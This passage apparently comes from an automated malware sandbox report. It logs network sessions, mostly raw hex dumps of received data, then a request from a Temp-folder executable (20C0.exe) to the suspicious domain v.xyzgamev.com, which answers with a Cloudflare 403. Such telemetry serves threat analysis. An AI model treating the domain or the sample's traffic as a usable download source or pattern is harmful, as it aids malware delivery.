2022-08-31 12:28:47 UTC	114	IN	Data Raw: ff 8b 68 fa bf 51 03 6c 7d 7d 2b fe f4 12 0f 9e 05 00 18 44 bf c3 c7 1f c5 3b 6f b8 0e 7b 2e fe 76 7c d3 0b be 15 bb 77 9e 87 fa 58 7d 60 e5 8b eb c3 4e 5f 07 a8 90 88 e1 72 5f a1 67 a7 db 46 ab dd 40 bb db 42 b7 db 4d 26 ae 3e 5f b6 09 ce 40 0c fb b2 ac 3c 8d f2 d3 e5 f2 e3 6f f5 2d 13 8c f5 81 96 e1 07 53 df 77 e0 14 c0 e8 e8 e4 f9 83 08 64 1e 80 b4 ed 9b 4a 64 17 24 b6 13 7e 74 89 09 c5 ea a7 fb 65 62 90 44 3d e9 50 3a 32 17 c1 4a 17 58 6e 76 20 4b 2d 64 00 26 ea 35 6c ae 8f e1 9c c9 31 d4 a6 c6 d1 e8 0a 96 3b c5 2c 61 b5 9d 17 23 79 4e c0 2f 7d c0 bf 0d f0 93 7b a9 01 c8 69 f4 2f 6f 11 16 84 eb fb 19 c9 28 67 01 13 b5 0c bb 27 ea d8 32 36 86 46 bb 8d 66 ab 5b 2e f2 55 9d df a7 6f f1 75 03 52 d5 dd 7c 11 e8 cd 82 60 01 7e 7d 43 9b bf 5d 7d 03 8a 7a 2c Data Ascii: hQl}}+D;o{.v\|wX}`N_r_gF@BM&>_@<o-SwdJd$~tebD=P:2JXnv K-d&5l1;,a#yN/}{i/o(g'26Ff[.UouR\|`~}C]}z,
2022-08-31 12:28:47 UTC	118	IN	Data Raw: 2b c3 bc 7b 6e 1a 00 f0 8a 17 5f 00 00 78 0b 80 a5 d5 16 ee 79 e8 08 3e f5 c5 87 f1 d1 7f 3b 80 33 ce d9 81 99 d9 a9 78 60 31 80 0d b6 88 9a 62 2b b0 89 84 07 c9 e4 a2 81 2b 82 76 37 47 b3 dd c5 14 cb 15 3d bb e0 17 c8 ea 1f 13 c1 f4 1b f2 21 10 a7 50 1e 50 7a f1 7e aa 54 33 20 15 27 25 35 60 8d a8 64 bd a5 ee 3a c8 a5 8b c5 d5 23 58 69 9d 22 03 b4 c3 61 83 e3 19 0b 41 51 29 1f bd 96 0f f0 c4 82 f2 49 ad 9c 70 5e 7e e2 ae be 56 bb 81 a6 ac 62 69 f5 54 3a 79 7b ed f3 40 58 1b 59 58 59 39 1d 03 96 0b 67 03 07 be 6c 63 db 71 5b e5 eb 5e c0 83 16 e0 93 50 54 5f ba bf b2 ce 8d 3c 9c bc 1c 67 15 5f f8 78 ea 6d c1 43 f7 3f 86 97 9c b1 15 1f f9 ad ef c3 a6 89 c1 1f e3 ce 65 7a f3 04 ae ba ec 5c 5c 75 d9 b9 78 f3 4f bf 0c 8f 1c 3e 85 8f dd f6 00 de f7 e9 af e0 ac Data Ascii: +{n_xy>;3x`1b++v7G=!PPz~T3 '%5`d:#Xi"aAQ)Ip^~VbiT:y{@XYXY9glcq[^PT_<g_xmC?ez\\uxO>
2022-08-31 12:28:47 UTC	122	IN	Data Raw: 98 97 4b db 10 e0 f3 ff 71 4c 25 64 af cf 95 17 ce a1 db e5 24 2e 63 e5 d2 3e 01 92 b8 9d 8e af 4a 7c 01 7b 5d 11 5e c8 0b 1b 1f ee cf f5 af e3 a3 c8 42 c9 d3 c7 f8 7a 43 09 c1 fd 21 18 9c 1f de 9d 2a 46 29 9d e8 c3 92 85 a4 5b 7f 30 06 d6 51 ea c1 b9 ce 31 21 68 f1 74 48 48 d9 d8 69 d5 e0 ea 57 67 f6 39 8d 92 c7 f5 92 55 0d d8 fe ed 31 04 59 e4 51 02 2a 17 51 30 c3 97 e0 3b 2f d7 25 b2 ca 01 0a 38 b1 3c db a0 f8 c3 26 3e 6f 8b 60 a5 d5 c1 f1 e5 06 56 5a ee 9d 0f 65 1b 6a 1b 04 06 70 1c 5a 68 a2 d3 95 81 1e 04 fa a2 b3 b7 a3 9b e7 c8 6a 35 25 4f cf 6e 18 b4 9a 08 19 84 ba 1d 01 4c d5 91 ee 5e e7 d0 ce f7 61 62 04 ee d7 b9 91 62 c2 f1 e2 ff e1 e2 92 02 61 64 9f e9 33 1c ad fa 08 54 51 6a e4 74 53 f2 49 1e f7 ef 95 5f 7f a9 39 eb 39 69 78 0a 05 0c 08 62 04 Data Ascii: KqL%d$.c>J\|{]^BzC!F)[0Q1!htHHiWg9U1YQQ0;/%8<&>o`VZejpZhj5%OnL^abbad3TQjtSI_99ixb
2022-08-31 12:28:47 UTC	126	IN	Data Raw: de bd a1 a7 97 23 02 18 b2 dc 7b d3 d1 5b 44 8e dc 0a 60 2c cb b2 e6 53 ad 8f 06 36 a2 cc f3 40 f7 d3 d4 78 94 54 c0 ea 31 9a 06 19 31 e0 14 50 54 5f e9 73 59 d7 ce f7 1c b5 63 99 34 e6 46 fd 19 9d 41 f4 94 00 6d 7c 8c 95 45 3e 24 22 09 ee 66 58 b3 cf ac 6c 4b 62 04 6c 1a fd bd be 9e 3c f4 4c 40 80 3b 91 65 fb f2 3b de 7e 5a 4e 2f 47 04 b0 86 92 65 59 07 c5 0d 17 4f 79 61 b0 85 29 26 14 30 5d c2 45 d3 67 4a ee ca 69 b6 04 90 26 01 c7 a0 85 ee 2b 80 c9 80 d6 e9 ad 46 3d 92 e3 c0 02 22 09 43 0c 11 b8 a9 9d 05 36 f7 a1 26 f0 34 7a eb 69 3d d9 ec c4 54 8d fe 86 30 18 d8 fe 9b f0 36 f9 35 49 1c be 7e 1e c0 f5 dd ff f7 87 eb ff bd 48 8f 32 22 80 67 7a e1 e4 34 60 e1 6c 8c 00 20 f1 28 99 3e 67 0f f2 34 08 08 8c ae 67 92 a3 08 c4 b4 8b 09 24 7c 57 a0 34 c4 10 8d Data Ascii: #{[D`,S6@xT11PT_sYc4FAm\|E>$"fXlKbl<L@;e;~ZN/GeYOya)&0]EgJi&+F="C6&4zi=T065I~H2"gz4`l (>g4g$\|W4
2022-08-31 12:28:47 UTC	130	IN	Data Raw: d1 00 76 ed 41 67 62 1a ae df 17 d0 eb df 38 d5 a7 31 01 a8 d4 bb e7 df bf 1b 53 fb 6e 87 b1 3e d2 2e f2 3d 82 d7 14 61 b9 f4 d6 3f 05 b6 96 e4 46 80 19 7d 7c 13 83 7a d6 04 ab 1d b6 5b f2 f5 3a 13 ad 6f e2 6e 84 46 b2 ab c1 c1 47 20 ba 0a d6 2b 01 00 4a 85 20 b6 9f 7d 7d b1 ee f0 c7 75 80 46 95 27 0e 41 bd 27 17 44 f5 91 04 05 39 1e a1 c2 f4 ca 28 47 d3 3f 88 04 6a b4 bc 51 87 4e a3 8e ba 90 ff c7 ce 2d a2 bf b4 07 bd 6e 17 a4 24 ff 98 00 b6 96 c6 04 00 a0 7f cf bf bb 0e d3 07 de 83 e6 f4 31 19 be 53 72 5f 82 7a 46 49 ff 10 e0 d3 db b4 e4 4f f6 61 52 08 d6 de fb f7 4a 39 04 40 26 eb 09 a2 28 64 1b 00 19 59 50 40 8c b2 5e 69 6d 26 0a 20 ae 17 80 2b a5 a0 eb 56 b2 5e e9 0b 28 1a 09 d6 bd 86 04 d8 6c 33 d1 e4 f1 80 8b 18 19 48 d2 00 57 c0 4c 4c 82 76 ed 43 Data Ascii: vAgb81Sn>.=a?F}\|z[:onFG +J }}uF'A'D9(G?jQN-n$1Sr_zFIOaRJ9@&(dYP@^im& +V^(l3HWLLvC
2022-08-31 12:28:47 UTC	135	IN	Data Raw: 2e 02 25 a8 82 98 f7 20 23 40 d5 89 7a ff 7f 20 f0 15 29 88 9c cf 86 f3 14 a9 44 f9 5f 05 be 23 7d 9d 52 69 ef 93 ba 9e 1c da 64 92 93 22 63 12 18 94 76 1c 01 a4 41 3f 64 c0 8f db 89 28 7e 41 5b a5 a9 cb f6 e3 d0 9b 6f c4 a1 37 df 08 00 28 37 37 71 e1 e1 2f e2 cc 03 27 70 fa 23 7f 01 bb f6 34 76 bf f8 30 e6 f7 ef 45 73 62 22 93 ac 48 3a 32 1f b7 1e e8 55 65 71 c9 11 7f 06 bb 22 02 42 0e 2c a4 a4 a8 02 85 31 e0 57 46 b5 20 c1 bb cc a2 bb dc bf 4f d5 00 c4 e2 23 b1 f4 e9 76 bf ce 25 44 1d dd 17 0a 60 17 65 a0 2c 7e 4a 04 61 bf 6f 40 bf 7a a1 a6 1d 47 00 da ca 4b 87 1b 14 f1 df 82 e5 28 26 27 b1 f4 aa 63 58 7a d5 31 5c f9 c3 b7 00 00 da 4f 9f c4 b9 fb 4f e0 91 ff f4 6f f1 d2 1b be 7d 40 c4 5f 81 3f e9 fc a8 00 21 b7 ec 49 10 2f 07 7f 1e 1f a8 b3 ee 59 bd 0c Data Ascii: .% #@z )D_#}Rid"cvA?d(~A[o7(77q/'p#4v0Esb"H:2Ueq"B,1WF O#v%D`e,~Jao@zGK(&'cXz1\OOo}@_?!I/Y
2022-08-31 12:28:47 UTC	138	IN	Data Raw: 37 66 66 38 0d 0a a7 1b dd c7 fd 90 17 2c 0c b9 64 f8 4b f5 2e 24 11 7f 1d 14 4c 9e d7 17 36 18 9e 42 7d 6e 63 1d e5 bd 0f 81 6e e9 01 43 dc 80 62 71 2f da a6 83 06 4d cb fb fc 00 60 73 a1 85 89 cb af 1a 69 b5 4e bf ef ff 46 93 2f cd 16 2d 9c 31 39 68 49 e5 e3 b9 3a 95 57 70 86 94 a4 64 09 ea 9f 98 a5 67 37 df bf 8e 44 18 f5 75 6e 80 d4 ae db c2 24 32 66 81 81 e9 79 a5 00 7e ff d3 3f fa ee 99 c9 bd 27 26 1a b3 c7 8c b1 c1 9a 07 eb 6d 10 a4 7e b0 ee 56 4c 3b 0c a2 e5 07 20 6e 80 09 ff ca b6 1c fc ea a7 e3 00 11 f4 46 ef 32 f0 07 63 50 ae 9c 43 ef a9 af a2 3c 73 0a 93 ce a2 fd e8 e7 47 ee b7 f4 ae 9f 49 5e 3e 42 44 98 ff fe 1f 1c b9 5f ff 99 27 d1 78 a6 0d 80 60 ac dd ba 00 b0 16 a9 d5 47 a2 00 00 aa 4a 76 39 c9 08 fc 2d 59 7f ae 87 8b e5 16 1f 59 3e ec 4f Data Ascii: 7ff8,dK.$L6B}ncnCbq/M`siNF/-19hI:Wpdg7Dun$2fy~?'&m~VL; nF2cPC<sGI^>BD_'x`GJv9-YY>O
2022-08-31 12:28:47 UTC	142	IN	Data Raw: d3 82 41 81 02 fe b3 53 25 3a 70 d4 83 80 9d 27 ee 30 80 85 28 58 3d 20 00 1e 91 1c b2 39 03 96 c2 e4 20 58 7f ab 0c 4f 10 72 4a 3d 90 10 06 4c e6 06 e4 23 03 e1 58 c1 61 f0 67 26 8f 02 53 5c 07 bf 9c 3c f2 9b bc 18 14 62 3d f4 df 94 30 d2 ce 28 1d 2e 03 6e 24 82 3c 2f 1b 2b f9 ea 70 df 60 22 01 bc 5e 5b fd e8 27 b1 38 31 05 fb 92 d7 a1 33 73 14 1d 9a 42 af ac bf d9 31 08 58 53 b7 02 7b 82 53 e1 bf 1a e0 d3 28 e0 67 84 02 be 3e c3 ad 3f e7 65 b3 6a 0f a9 36 25 44 c0 d7 50 0e a7 15 c0 98 02 06 a5 46 e9 7a 00 ba de d0 c3 00 a6 80 41 01 8b 06 3c 74 2c 0c 9a 30 86 60 0d 50 ba 2e 9c e9 45 c0 a9 20 21 79 81 2f eb 04 90 b5 fe 3f 6f 35 02 56 8e 1d 88 9f 1f 54 85 cc 1d 20 b5 5e 3d 2d 08 3e 0e 28 fe 0d b3 01 a1 dd 0a 05 4c 10 d4 5b 81 15 d0 2b 2e 02 5d 74 c4 9f 02 Data Ascii: AS%:p'0(X= 9 XOrJ=L#Xag&S\<b=0(.n$</+p`"^['813sB1XS{S(g>?ej6%DPFzA<t,0`P.E !y/?o5VT ^=->(L[+.]t
2022-08-31 12:28:47 UTC	146	IN	Data Raw: 84 11 09 38 bd 1e 39 e1 44 92 c9 8e 0b be de 42 77 ea d8 3e ff 25 b4 f0 81 43 df 81 b3 2f fb 6e 58 6b d1 2c bc b4 b7 ca df cf 83 7c 02 7a 3d 8b 2f 19 bf b7 02 fa 64 c2 8e 9e a8 93 07 fd c0 c3 77 fe ab 29 89 df 1f 52 fa 16 6b b5 5e 15 8a dd dd 40 5e 43 1d d7 04 12 a8 61 82 21 c2 60 aa b0 d8 db 6a 00 44 e8 f5 4b 01 be a3 6d 54 00 fe 66 6d 7d 8e bf 06 8f 53 e5 34 69 88 1c 26 42 dd 70 5f a5 9e 04 f8 b1 63 47 20 70 1b 53 22 22 dd 3e 97 ab 89 08 6a 17 f6 e7 e3 0a 1d 49 59 0d c0 ac c3 27 3f a0 dd 5d 03 35 81 c5 99 45 9c 3f 7f 1e 45 23 74 b6 46 81 67 0e 35 70 f6 30 70 9f 01 1a 3d c2 9e 33 5d 5c 76 a6 87 83 67 fa d8 77 c1 61 2a 38 85 84 ea 1c ff 54 39 0c c8 83 4f 21 e6 2b 20 94 6b 96 82 bf 92 4f ee 51 04 35 a9 fa 12 52 80 ca a8 6b 96 02 1f e9 71 6b da 7b 21 0c ed Data Ascii: 89DBw>%C/nXk,\|z=/dw)Rk^@^Ca!`jDKmTfm}S4i&Bp_cG pS"">jIY'?]5E?E#tFg5p0p=3]\vgwa*8T9O!+ kOQ5Rkqk{!
2022-08-31 12:28:47 UTC	150	IN	Data Raw: ce 40 06 92 10 20 98 8e 18 34 28 98 46 9c c0 f7 e2 bc d4 e5 53 fb b9 96 f3 14 10 78 22 2c ed 2c 9e a0 e2 10 d6 7a 4f e5 21 d3 42 7d a8 60 12 40 40 17 62 02 24 84 17 91 24 24 10 c8 60 3a dd 19 7a ae ae f1 8e e7 7b 7f 9c b3 f7 fe 7d df de e7 0e 55 d5 99 bc bb d7 ed ba e7 ec 7d be fd 4d bf df de 67 9f 73 cf 69 75 f2 12 f8 e5 22 9e 99 ea db 85 3d af 63 b9 51 43 31 83 70 36 aa bb fd 05 c5 e2 5f 5e 43 86 bc 3c 7d 0f 48 56 eb 7a 04 76 3e 8f f7 f7 16 c0 e9 08 d5 2e cb 80 dd 9b eb d8 5a 1f 43 a7 93 63 a5 d9 ee bb c2 df 6b ca af 47 ff 1c 42 d7 fa 8b 3a 24 89 c1 3d ca 7e bd a5 0e 91 68 c5 df 25 aa 9d 2a fa a4 26 c0 b8 3a 3e 3e ab 6d 88 6e 7d 8b 5b 78 d3 60 48 7c 72 49 ce 0c 2c 41 88 a0 78 87 40 b7 89 76 a7 5d b0 b9 02 60 0c 18 94 7f 18 ec 0c 7b b8 6d 47 38 00 9d e7 Data Ascii: @ 4(FSx",,zO!B}`@@b$$$`:z{}U}Mgsiu"=cQC1p6_^C<}HVzv>.ZCckGB:$=~h%*&:>>mn}[x`H\|rI,Ax@v]`{mG8
2022-08-31 12:28:47 UTC	154	IN	Data Raw: 2c 7c 60 ca 84 25 6c 17 76 13 30 53 a3 65 68 2f 51 db 30 22 26 88 82 82 ee c0 ec 12 c2 09 50 c7 f4 5b f1 77 75 15 76 07 63 08 c8 d0 84 c2 89 5c 39 13 63 ff 39 1f 40 90 5c f1 b7 ed 9d 0a f6 9a b9 1f a0 44 8f f0 d1 8a 3f 20 16 94 74 eb ad 3a 7f b7 8b 7e 49 c0 53 1f 92 1a f5 ad 1f 83 1e 7e cd cc fb cb e5 83 cb 21 a1 b8 3a ff 86 c4 60 e2 20 b4 ad bb d4 03 9b a4 5f db ed c0 df cd 5b 58 6a 1c c7 6a 6b c1 24 8e 90 c3 8b ef 83 5e 06 5c 6e 9e c0 cd f7 be 07 97 9c f5 52 ec 9e bd 18 5b 37 9d 81 0c 83 3d 4f 30 cb 32 b3 ea 9f 48 e6 44 f2 27 db 63 38 b2 c8 d9 3d a6 ad f2 0d 9c 60 ad 0b c7 ce 02 04 f4 f1 5f ab f4 72 32 90 d0 21 b5 df eb 42 72 95 5e 24 b1 02 c8 a0 fd 9c c8 ea 43 f2 95 3d fe 98 35 ac f8 13 60 54 7b d7 ae cf 8a 7f 20 83 d0 1f a2 6b fe 81 18 ec b9 bc 5a e4 Data Ascii: ,\|`%lv0Seh/Q0"&P[wuvc\9c9@\D? t:~IS~!:` _[Xjjk$^\nR[7=O02HD'c8=`_r2!Br^$C=5`T{ kZ
2022-08-31 12:28:47 UTC	158	IN	Data Raw: b0 7d 80 ea 49 5a 88 0b 4c 1f ce 0e 2b 6f c0 e0 f4 29 75 ef 7c e3 1c 0f 4d 4a 1a c5 5e c4 de cc 98 ca 60 de 3d 10 18 7b 90 85 d3 68 4d b2 12 75 5e b7 3e 64 96 20 1e 7f 7b a8 b2 2f 24 64 48 0a 1a c1 22 5d 82 5f 19 b0 d5 c4 15 8f 46 f0 fa eb 04 52 fd 82 e3 41 23 8b 6b 63 7d 22 c5 33 f3 7c db 01 4a 56 5c ca 51 fd 6b 3d 0a 4f a5 40 a2 48 82 f2 8a 41 ad 49 c2 d9 65 eb 74 3b ce 5b 05 1a 57 4f 2e 27 0d 43 0c 29 66 69 90 57 c4 83 11 6c b6 c0 3e 65 bb 39 89 18 67 84 23 6f 0d fb 69 03 4a 78 33 10 25 82 b3 96 93 c6 4f 53 50 3a 7a 98 45 3c f4 a8 23 23 83 1f 36 86 2c 92 a4 c4 9f 41 56 fc 93 c4 a3 5f 9f 5e 3a c5 00 c9 c7 4c 25 63 b2 3f d0 71 f6 63 40 a8 7d 25 be fb 90 a4 1a d8 50 c0 72 71 4d fb 6b a1 d1 c2 e2 6a 1b 27 97 9a 58 58 6d 61 6a 72 b0 27 ff 64 59 f9 9c 80 90 Data Ascii: }IZL+o)u\|MJ^`={hMu^>d {/$dH"]_FRA#kc}"3\|JV\Qk=O@HAIet;[WO.'C)fiWl>e9g#oiJx3%OSP:zE<##6,AV_^:L%c?qc@}%PrqMkj'XXmajr'dY
2022-08-31 12:28:47 UTC	162	IN	Data Raw: 7d b8 fb 9e 29 5c 78 e1 99 f8 b1 cb cf c4 45 13 39 c6 f2 f5 cd 0a dc 1a 40 04 ce e0 82 04 70 75 3b ff bf f2 0d a8 06 ea 7f 3d ad 17 5d 4f e4 92 1c fd 49 97 00 da 20 99 e8 ca c4 84 65 84 44 b2 c4 e7 64 22 fc 1a b0 89 02 f8 43 e7 da b3 8a 00 6c f9 d4 9f 3d ac 08 e1 ea 9f 3b cf 11 c2 15 12 66 0a 51 40 c1 ac 0b 28 46 07 07 1b 61 7f 88 9d 3c 0c 60 df ad ef 3d b4 ce 4b 7b 83 15 35 22 b9 e4 b1 c0 46 20 07 e1 04 22 bb 03 50 ca f6 89 24 57 c9 58 b6 0b 75 e1 fb f2 89 25 dc 73 7c 11 5f f9 d2 c3 d8 b6 7b 06 cf bf 70 27 5e 71 f1 0e 5c 32 99 63 73 b7 3d b4 8d 59 56 f3 7d 30 7c 34 30 34 b8 9d 1f 34 29 b2 8f bc 6b 54 7d 7a 61 0f b1 7c d6 c3 6f 13 70 95 9e 7c 3c 8c 7c d1 fa 7b 45 60 1b 7b 99 10 71 67 fe 75 00 87 51 80 7f 4d 2c fb ac 26 00 5b 6e 79 d7 23 4c 08 d7 01 c0 b7 Data Ascii: })\xE9@pu;=]OI eDd"Cl=;fQ@(Fa<`=K{5"F "P$WXu%s\|_{p'^q\2cs=YV}0\|4044)kT}za\|op\|<\|{E`{qguQM,&[ny#L
2022-08-31 12:28:47 UTC	167	IN	Data Raw: ff 20 6a 44 ff 1e 64 3e ff 1b 5e 39 ff 1e 64 3e ff 32 76 53 ff 1d 64 3e ff 1c 5f 3a bf 1a 5b 35 1f 00 00 00 00 00 00 00 00 c0 97 48 ff bd 93 46 ff ba 90 43 ff b8 8c 41 ff b5 87 3e ff bf 9a 5d ff dc d5 c3 ff e0 de de ff e0 de de ff e0 de de ff e0 de de ff dc d2 bb ff 9b 62 21 ff 98 5d 1d ff 95 58 19 ff a8 74 38 ff 9d 64 22 ff 9a 5f 1f ff 96 59 1b ff 92 54 17 ff 8e 4e 13 ff 88 49 0e ff 82 42 0a ff 7b 3c 06 ff 68 31 03 3a 00 00 00 1b 00 00 00 09 00 00 00 00 39 ab 80 3f 36 a4 79 6f 34 9d 74 af 31 97 6e ef 2f 91 68 ff 2d 8c 63 ff 2a 86 5e ff 28 80 58 ff 26 7a 53 ff 24 74 4e ff 22 6f 48 ff 1f 69 43 ff 1d 63 3e ff 1f 68 42 ff 33 79 56 ff 1f 67 41 ff 1d 61 3c ff 1a 5b 36 ff 18 56 32 7f 00 00 00 00 c2 9b 4a ff bf 97 48 ff bd 93 45 ff ba 8f 43 ff bf 99 56 ff e4 e0 Data Ascii: jDd>^9d>2vSd>_:[5HFCA>]b!]Xt8d"_YTNIB{<h1:9?6yo4t1n/h-c*^(X&zS$tN"oHiCc>hB3yVgAa<[6V2JHECV
2022-08-31 12:28:47 UTC	170	IN	Data Raw: 34 32 66 61 0d 0a 36 ff aa 7c 3a ff af 82 3c ff b3 87 3f ff b5 89 40 ff b7 8b 41 ff b8 8c 41 ff b8 8c 41 ff b7 8b 41 ff b7 8a 41 ff b8 8d 46 ff be 96 5c ff 00 00 00 00 00 00 00 00 00 00 00 00 a2 ec d5 ff 9d e9 d1 ff 98 e6 cd ff 93 e2 c9 ff 8d df c5 ff 88 dc c0 ff 82 d8 bb ff 7c d4 b6 ff 7b d3 b5 ff 79 d2 b4 ff 7e d4 b7 ff 55 77 da ff 4a 5c e1 ff 36 49 db ff 33 45 d7 ff 2f 42 d4 ff 2c 3e d0 ff 29 3a cd ff 25 37 c9 ff 22 33 c5 ff 1e 2f c2 ff 1b 2c be ff 18 28 ba ff 14 24 b7 ff 11 20 b3 ff 0e 1d af ff 3f 4c c9 ff 18 29 bb ff 15 25 b7 ff 11 21 b2 ff 0e 1c ad ff 11 19 82 ff 51 36 37 ff 90 5c 26 ff 99 68 2c ff a1 71 31 ff a7 79 36 ff ac 7e 39 ff b0 83 3c ff b3 86 3e ff b5 89 3f ff b6 8a 40 ff b6 8a 40 ef b6 89 40 af b6 89 40 6f 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 42fa6\|:<?@AAAAAF\\|{y~UwJ\6I3E/B,>):%7"3/,($ ?L)%!Q67\&h,q1y6~9<>?@@@@o
2022-08-31 12:28:47 UTC	174	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 95 f0 7f 63 8a ed ff 5d 83 eb ff 56 7a ea ff 50 73 e8 ff 4b 6c e6 ff 47 66 e5 ff 43 60 e4 ff 40 5c e2 ef 3f 59 e2 af 3d 56 e1 7f 3c 53 e1 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lc]VzPsKlGfC`@\?Y=V<S?
2022-08-31 12:28:47 UTC	178	IN	Data Raw: fa ff 8e be f8 ff 87 b3 f6 ff 80 a8 f3 ff 78 9d f0 ff 8c a9 f2 ff 87 a4 f1 ff 7e 9d ef ff 76 98 ef ff 55 7c ea ff 79 8f ec ff 75 82 e4 ff 4a 59 d7 ff 3c 4c d0 ff 30 40 c9 ff 25 35 c1 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 d6 fd 7f 9b cf fc ff 9d cb fa ff ab ce fa ff a4 c8 f8 ff 99 bf f7 ff 73 a1 f2 ff 63 91 ef ff 59 84 ec ff 51 79 ea ff 4a 6f e8 ff 45 66 e5 ff 4f 6a e5 ff 79 88 e6 ff 4f 5e d7 ff 41 50 d0 ff 33 43 c8 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf e5 fe 5f c5 Data Ascii: x~vU\|yuJY<L0@%5scYQyJoEfOjyO^AP3C_
2022-08-31 12:28:47 UTC	182	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd e3 fe f9 bb db fc ff a7 c7 f8 ff 62 8e ee ff 4f 76 e9 ff 41 62 e5 ff 79 8b eb ff 85 90 e6 ff 46 53 ce 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 89 b5 f6 92 6e 98 f0 ff 57 7d ea ff 47 68 e6 ff 3e 5a e2 ff 3a 51 e0 ef 3c 51 e0 a8 54 65 e5 3e 00 00 00 00 00 00 00 00 00 00 00 00 ff c3 00 00 fe 01 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 80 07 00 00 c0 07 00 00 f0 07 00 00 f0 07 00 00 f0 07 00 00 f8 07 00 00 00 00 01 00 0d 00 30 30 08 00 01 00 04 00 68 06 00 00 01 00 20 20 08 00 01 00 04 00 e8 02 00 00 02 00 18 18 08 00 01 00 04 00 e8 01 00 00 03 00 10 10 08 00 01 00 Data Ascii: bOvAbyFSnW}Gh>Z:Q<QTe>00h
2022-08-31 12:28:47 UTC	186	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 0a Data Ascii:
2022-08-31 12:28:47 UTC	186	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49760	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:08 UTC	4797	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:08 UTC	4797	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:23 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=x7AJbptRz7Cl4F6tCey15K1Tua3OCnGXAE%2B7abKRLyKl2mLDQ8bMzYfOdE1aYkMU0%2FtMBEoep2SGwA1Lyctp0Wl4Vxo0Tszdqwfs3SyMzeK%2BydoFFoMhMU7vXWxMYnGiMA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c51d1e98bbbf-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:08 UTC	4798	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html 